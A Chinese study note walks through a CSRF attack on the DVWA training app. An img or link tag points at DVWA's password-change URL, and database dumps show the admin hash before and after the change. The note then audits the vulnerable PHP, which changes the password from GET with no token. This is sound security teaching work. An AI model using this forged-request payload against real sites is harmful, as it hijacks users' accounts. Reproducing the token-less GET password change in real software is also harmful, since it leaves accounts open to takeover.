+++++++++++++++++++++++++++

+ 00x1 实现简单的攻击

+ 00x2 代码审计漏洞的源头

+++++++++++++++++++++++++++

 

00x1 简单的csrf攻击开始了


 下面是一个修改密码的修改框:

 CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】

 那么修改密码的时候看到了URL为:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

倘若黑客将这个修改密码的URL发给被攻击者那么存在csrf漏洞的情况下,被攻击者同样的也会被修改密码。

利用的方法(在文章末尾有写此方法的小技巧):

<img src=” http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#>

(这里我将该代码存到1.html当中然后访问)

将这个img标签插入到一个页面当中,但你访问这个页面的时候你也访问了那个具有更改密码功能的url。

我们先来看看,本来有多少个管理员。

mysql> select user,password from users;
+---------+----------------------------------+
| user    | password                         |
+---------+----------------------------------+
| admin   | 21232f297a57a5a743894a0e4a801fc3 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+

5 rows in set (0.00 sec)

可见只有五个管理员的.

现在我们上传一个Html页面,然后访问html页面以后。

 CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】

(PS:本来是使用img标签,部分浏览器会进行拦截所以就使用了a标签)

再看看数据库。

mysql> select user,password from users;
+---------+----------------------------------+
| user    | password                         |
+---------+----------------------------------+
| admin   | 6e60cfc734e2ace0d02da94f160c346f|
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+----------------------------------+

是否发现admin的MD5已经被替换。

 

00x2 代码审计漏洞的源头


刚才案例的low.php

 1 <?php
 2                 
 3     if (isset($_GET['Change'])) {
 4     
 5         // Turn requests into variables
 6         $pass_new = $_GET['password_new'];
 7         $pass_conf = $_GET['password_conf'];
 8 
 9 
10         if (($pass_new == $pass_conf)){
11             $pass_new = mysql_real_escape_string($pass_new);
12             $pass_new = md5($pass_new);
13 
14             $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
15             $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
16                         
17             $html .= "<pre> Password Changed </pre>";        
18             mysql_close();
19         }
20     
21         else{        
22             $html .= "<pre> Passwords did not match. </pre>";            
23         }
24 
25     }
26 ?>
View Code

相关文章:

猜你喜欢
  • 2021-10-24
  • 2021-08-23
  • 2021-11-30
  • 2021-10-13
  • 2021-12-14
  • 2021-11-18
  • 2022-01-03
相关资源
相似解决方案